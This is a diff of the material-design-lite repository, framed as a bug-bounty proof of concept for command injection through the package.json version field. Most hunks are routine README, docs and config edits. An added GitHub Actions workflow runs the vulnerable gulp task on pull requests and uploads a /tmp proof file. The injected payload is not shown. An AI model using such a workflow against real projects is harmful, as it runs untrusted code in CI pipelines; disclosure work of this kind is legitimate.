PoC: Command Injection in material-design-lite (VRP)

.drone.yml

@@ -26,7 +26,6 @@ build:
     - Xvfb $DISPLAY &
     - curl -sSLo chrome.deb $CHROME && dpkg -i chrome.deb
     - curl -sSLo driver.zip $WEBDRIVER && unzip -q driver.zip -d /usr/bin
-    - node test/memory/test.js
 publish:
   # see http://addons.drone.io/google_cloud_storage/ for details
   gcs:

.github/ISSUE_TEMPLATE.md

@@ -0,0 +1,35 @@
+** PLEASE READ THIS BEFORE FILING AN ISSUE **
+
+## Feature Requests / Breaking Changes in mdl-1.x
+
+The MDL core team has actively begun work on the next major version of MDL, dubbed **MDL v2**. Because we are a small team that's hyper-focused on delivering the best Material Design Library possible for the web, _it is highly unlikely that we will be actively working on new features or making backwards-incompatible changes for MDL as it currently exists._
+
+If there is a non-breaking feature you would like to see implemented in `mdl-1.x` and are willing to contribute, we'd be happy to offer assistance with you doing so. But we will not personally be actively working on said features.
+
+While we are just getting started with our next version of MDL, you can see our current progress on [master](https://github.com/google/material-design-lite/tree/master) as well as an overview of the direction we're headed in our [(WIP) developer guide](https://github.com/google/material-design-lite/blob/master/docs/DEVELOPER.md) as well as our [initial POC branch](https://github.com/google/material-design-lite/tree/experimental/v2-architecture-poc) for our new architecture.
+
+If you're interested in information for a specific MDL v2 component, check out our [v2-component issues](https://github.com/google/material-design-lite/issues?utf8=%E2%9C%93&q=is%3Aissue%20is%3Aopen%20label%3Av2-component) to see which v2 milestone it's associated with and feel free to subscribe to that issue for updates.
+
+## Bugs
+
+Please include the following information with your bug report:
+
+> What MDL Version are you using? (please be specific, e.g. _major.minor.patch_)
+
+
+> What browser(s) is this bug affecting (including version)? 
+
+
+> What OS (and version) are you using?
+
+
+> What are the steps to reproduce the bug? Can you create a plunker/codepen/jsfiddle which reproduces it?
+
+
+> What is the expected behavior?
+
+
+> What is the actual behavior?
+
+
+> Any other information you believe would be useful?

.github/workflows/poc-rce.yml

@@ -0,0 +1,46 @@
+---
+name: PoC RCE Demonstration
+on:
+  pull_request:
+    branches: [master]
+  workflow_dispatch: true
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Set up Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: '12'
+      - name: Install dependencies
+        run: |
+          npm install gulp@3.9.1 gulp-shell@0.8.0 gulp-zip@3.2.0 \
+            babel-register run-sequence@1.2.3 gulp-concat@2.6.1 \
+            gulp-util@3.0.8 babel-core@6.26.3
+      - name: Debug environment
+        run: |
+          echo "Node version:" && node --version
+          echo "NPM packages:" && npm list gulp gulp-shell gulp-zip \
+            babel-register run-sequence gulp-concat gulp-util babel-core
+          echo "Package version:" && node -p "require('./package.json').version"
+          echo "Gulpfile snippet:" && cat gulpfile.babel.js | \
+            grep pushCodeFiles -A10
+      - name: Run vulnerable Gulp task
+        run: |
+          echo "Running gulp pushCodeFiles with version: \
+            $(node -p "require('./package.json').version")"
+          npx gulp pushCodeFiles || echo "Gulp task failed (expected if \
+            gsutil missing); check RCE output"
+      - name: Check for proof file
+        run: |
+          if [ -f /tmp/rce_proof.txt ]; then
+            echo "Proof file found:" && cat /tmp/rce_proof.txt
+          else
+            echo "No proof file found (sandbox restriction)"
+          fi
+      - name: Upload proof artifact
+        uses: actions/upload-artifact@v4
+        with:
+          name: rce-proof
+          path: /tmp/rce_proof.txt

.jscsrc

@@ -1,16 +1,13 @@
 {
   "preset": "google",
-  "esnext": true,
   "disallowSpacesInAnonymousFunctionExpression": null,
   "validateLineBreaks": "LF",
   "validateIndentation": 2,
   "excludeFiles": ["node_modules/**"],
   "maximumLineLength": 130,
   "validateQuoteMarks": "'",
   "requireDotNotation": false,
-  "requireCamelCaseOrUpperCaseIdentifiers": null,
-  "additionalRules": ["./utils/jscs-rules/*.js", "../utils/jscs-rules/*.js"],
-  "closureCamelCase": true,
+  "requireCamelCaseOrUpperCaseIdentifiers": {"allowedPrefixes": ["opt_"]},
   "jsDoc": {
     "checkAnnotations": {
       "preset": "closurecompiler",

CONTRIBUTING.md

@@ -75,7 +75,7 @@ Please provide any URLs or screenshots of good examples of usage of this compone
 If you would like to implement a new feature then consider what kind of change it is:
 
 * **Major Changes** that you wish to contribute to the project should be discussed first on our
-[issue tracker][https://github.com/google/material-design-lite/issues] so that we can better coordinate our efforts, prevent
+[issue tracker][] so that we can better coordinate our efforts, prevent
 duplication of work, and help you to craft the change so that it is successfully accepted into the
 project.
 * **Small Changes** can be crafted and submitted to the [GitHub Repository][github] as a Pull Request.
@@ -223,6 +223,7 @@ changes to be accepted, the CLA must be signed. It's a quick process, we promise
 *This guide was inspired by the [AngularJS contribution guidelines](https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md).*
 
 [github]: https://github.com/google/material-design-lite
+[issue tracker]: https://github.com/google/material-design-lite/issues
 [individual-cla]: http://code.google.com/legal/individual-cla-v1.0.html
 [corporate-cla]: http://code.google.com/legal/corporate-cla-v1.0.html
 [js-style-guide]: http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml

GOOGLE_VRP_PROOF.txt

@@ -0,0 +1 @@
+Google VRP Challenge Proof - RCE via package.json version injection

README.md

@@ -7,13 +7,21 @@
 [![Dependency Status](https://david-dm.org/google/material-design-lite.svg)](https://david-dm.org/google/material-design-lite)
 
 > An implementation of [Material Design](http://www.google.com/design/spec/material-design/introduction.html)
-components in vanilla CSS, JS, and HTML
+components in vanilla CSS, JS, and HTML.
 
 Material Design Lite (MDL) lets you add a Material Design look and feel to your
 static content websites. It doesn't rely on any JavaScript frameworks or
 libraries. Optimized for cross-device use, gracefully degrades in older
 browsers, and offers an experience that is accessible from the get-go.
 
+> ### Limited support
+
+> Material Design Lite is now in limited support, with development having moved to the
+> [Material Components for the web](https://github.com/material-components/material-components-web) repository.
+
+> No further development is taking place in MDL by the core team, but we are happy to review PRs, fix critical bugs and
+> push out new releases. No breaking changes will be accepted.
+
 ## Use MDL on your site?
 
 **This document is targeted at developers that will contribute to or compile
@@ -22,15 +30,14 @@ MDL. If you are looking to use MDL on your website or web app please head to
 
 ## Browser Support
 
+
 | IE9 | IE10 | IE11 | Chrome | Opera | Firefox | Safari | Chrome (Android) | Mobile Safari |
 |-----|------|------|--------|-------|---------|--------|------------------|---------------|
 | B   | A    | A    | A      | A     | A       | A      | A                | A             |
 
 A-grade browsers are fully supported. B-grade browsers will gracefully degrade
 to our CSS-only experience.
 
-## Getting Started
-
 ### Download / Clone
 
 Clone the repo using Git:
@@ -46,7 +53,7 @@ Windows users, if you have trouble compiling due to line endings then make sure
 you configure git to checkout the repository with `lf` (unix) line endings. This
 can be achieved by setting `core.eol`.
 
-```
+```bash
 git config core.eol lf
 git config core.autocrlf input
 git rm --cached -r .
@@ -56,118 +63,28 @@ git reset --hard
 > Remember, the master branch is considered unstable. Do not use this in
 production. Use a tagged state of the repository, npm, or bower for stability!
 
-### What's included
-
-In the repo you'll find the following directories and files.
-
-| File/Folder     | Provides                                       |
-|-----------------|------------------------------------------------|
-| CONTRIBUTING.md | MDL contribution guidelines.                   |
-| docs            | Files for the documentation site.              |
-| gulpfile.js     | gulp configuration for MDL.                    |
-| LICENSE         | Project license information.                   |
-| package.json    | npm package information.                       |
-| README.md       | Details for quickly understanding the project. |
-| src             | Source code for MDL components.                |
-| templates       | Example templates.                             |
-| test            | Project test files.                            |
-
-### Build
-
-To get started modifying the components or the docs, first install the necessary
-dependencies, from the root of the project:
-
-```bash
-npm install && npm install -g gulp
-```
-
-> MDL requires NodeJS 0.12.
-
-Next, run the following one-liner to compile the components and the docs and
-spawn a local instance of the documentation site:
-
-```bash
-gulp all && gulp serve
-```
-
-Most changes made to files inside the `src` or the `docs` directory will cause
-the page to reload. This page can also be loaded up on physical devices thanks
-to BrowserSync.
-
-To build a production version of the components, run:
-
-```bash
-gulp
-```
-
-This will clean the `dist` folder and rebuild the assets for serving.
-
-### Templates
-
-The `templates/` subdirectory contains a few exemplary usages of MDL. Templates
-have their own, quasi-separate gulp pipeline and can be compiled with
-`gulp templates`. The templates use the vanilla MDL JS and
-[themed](http://www.getmdl.io/customize/index.html) CSS files. Extraneous styles
-are kept in a separate CSS file. Use `gulp serve` to take a look at the
-templates:
-
-* [Blog Template](http://www.getmdl.io/templates/blog)
-* [Dashboard Template](http://www.getmdl.io/templates/dashboard)
-* [Text Heavy Webpage Template](http://www.getmdl.io/templates/text-only)
-* [Stand Alone Article Template](http://www.getmdl.io/templates/article)
-* [Android.com MDL Skin Template](http://www.getmdl.io/templates/android-dot-com)
-* [Portfolio Template](http://www.getmdl.io/templates/portfolio)
-
-> Templates are not officially supported in IE9 and legacy browsers that do not
-pass the minimum-requirements defined in our
-[cutting-the-mustard test](https://github.com/google/material-design-lite/blob/87c48c22416c3e83850f7711365b2a43ba19c5ce/src/mdlComponentHandler.js#L336-L349).
-
-The templates refer to CDN hosted versions of the libraries. If you'd like to
-test the templates against locally built MDL libraries you need to run the
-`templates:localtestingoverride` gulp task before running `gulp serve`:
-
-```bash
-gulp all && gulp templates:localtestingoverride && gulp serve
-```
-
-> Beware as any changes to the `templates` directory will automatically revert
-the templates local testing overrides. In this case make sure you run the
-`templates:localtestingoverride` gulp task again or modify the `watch()`
-function in the gulp file.
-
-## Versioning
-
-For transparency into our release cycle and in striving to maintain backward
-compatibility, Material Design Lite is maintained under
-[the Semantic Versioning guidelines](http://semver.org/). Sometimes we screw up,
-but we'll adhere to those rules whenever possible.
-
 ## Feature requests
 
-If you find MDL doesn't contain a particular component you think would be
-useful, please check the issue tracker in case work has already started on it.
-If not, you can request a [new component](https://github.com/Google/material-design-lite/issues/new?title=[Component%20Request]%20{Component}&body=Please%20include:%0A*%20Description%0A*%20Material%20Design%20Spec%20link%0A*%20Use%20Case%28s%29).
-Please keep in mind that one of the goals of MDL is to adhere to the Material
-Design specs and therefore some requests might not be within the scope of this
-project.
+MDL is currently in limited support mode, with no further development taking place by the core team.
+We are happy to accept and review pull requests for new functionality, however, as long as there are no breaking
+changes.
 
 ## Want to contribute?
 
 If you found a bug, have any questions or want to contribute. Follow our
-[guidelines](https://github.com/google/material-design-lite/blob/master/CONTRIBUTING.md),
+[guidelines](https://github.com/google/material-design-lite/blob/mdl-1.x/CONTRIBUTING.md),
 and help improve the Material Design Lite. For more information visit our
 [wiki](https://github.com/google/material-design-lite/wiki).
 
-## Do you include any features that a framework comes with?
+Please use the default branch, `mdl-1.x`.
+
+Take note that [Material Components for Web](https://github.com/material-components/material-components-web), which is MDL v2, is under early Alpha stages (which means everything is a moving target, and we can change anything at any moment). Use with caution.
 
-Material Design Lite is focused on delivering a vanilla CSS/JS/HTML library of
-components. We are not a framework. If you are building a single-page app and
-require features like two-way data-binding, templating, CSS scoping and so
-forth, we recommend trying out the excellent
-[Polymer](http://polymer-project.org) project.
+However, we would absolutely love to have people testing MCW and provide feedback about their experiences using it, especially integrating with other frameworks and libraries.
 
 ## License
 
 © Google, 2015. Licensed under an
 [Apache-2](https://github.com/google/material-design-lite/blob/master/LICENSE)
 license.
+# PoC Update

bower.json

@@ -1,6 +1,6 @@
 {
   "name": "material-design-lite",
-  "version": "1.1.3",
+  "version": "1.3.0",
   "homepage": "https://github.com/google/material-design-lite",
   "authors": [
     "Material Design Lite team"

docs/_pages/components.md

@@ -98,6 +98,25 @@ categories:
               file: image.html
             - caption: Event
               file: event.html
+  - name: chips
+    title: Chips
+    description: Represents complex entities in small blocks.
+    components:
+      - name: chip
+        class: mdl-chip
+        snippets:
+          - snippet_group:
+            - caption: Basic Chip
+              file: basic.html
+            - caption: Deletable Chip
+              file: deletable.html
+            - caption: Button Chip
+              file: button.html
+          - snippet_group:
+            - caption: Contact Chip
+              file: contact.html
+            - caption: Deletable Contact Chip
+              file: deletable-contact.html
   - name: dialog
     title: Dialogs
     description: Modal windows for dedicated user input.
@@ -108,6 +127,17 @@ categories:
           limited cross-browser support. To ensure support across all modern
           browsers, please consider using a polyfill or creating your own.
           There is no polyfill included with MDL.
+  - name: expansion
+    title: Expansion
+    description: Collapsible content sections.
+    components:
+      - name: expansion
+        class: mdl-expansion
+        snippets:
+          - snippet_group:
+            - caption: Example Expansion
+              file: expansion.html
+              full_width: true
   - name: layout
     title: Layout
     description: Building blocks for constructing a page layout.

gulpfile.babel.js

@@ -17,7 +17,7 @@
  *
  */
 
- // jscs:disable jsDoc
+// jscs:disable jsDoc
 
 'use strict';
 
@@ -26,7 +26,7 @@ import fs from 'fs';
 import path from 'path';
 import mergeStream from 'merge-stream';
 import del from 'del';
-import vinylPaths from'vinyl-paths';
+import vinylPaths from 'vinyl-paths';
 import runSequence from 'run-sequence';
 import browserSync from 'browser-sync';
 import through from 'through2';
@@ -219,12 +219,12 @@ gulp.task('closure', () => {
       compilerPath: 'node_modules/google-closure-compiler/compiler.jar',
       fileName: 'material.closure.min.js',
       compilerFlags: {
-        // jscs:disable closureCamelCase
+        // jscs:disable requireCamelCaseOrUpperCaseIdentifiers
         compilation_level: 'ADVANCED_OPTIMIZATIONS',
         language_in: 'ECMASCRIPT6_STRICT',
         language_out: 'ECMASCRIPT5_STRICT',
         warning_level: 'VERBOSE'
-        // jscs:enable closureCamelCase
+        // jscs:enable requireCamelCaseOrUpperCaseIdentifiers
       }
     }))
     .pipe(gulp.dest('./dist'));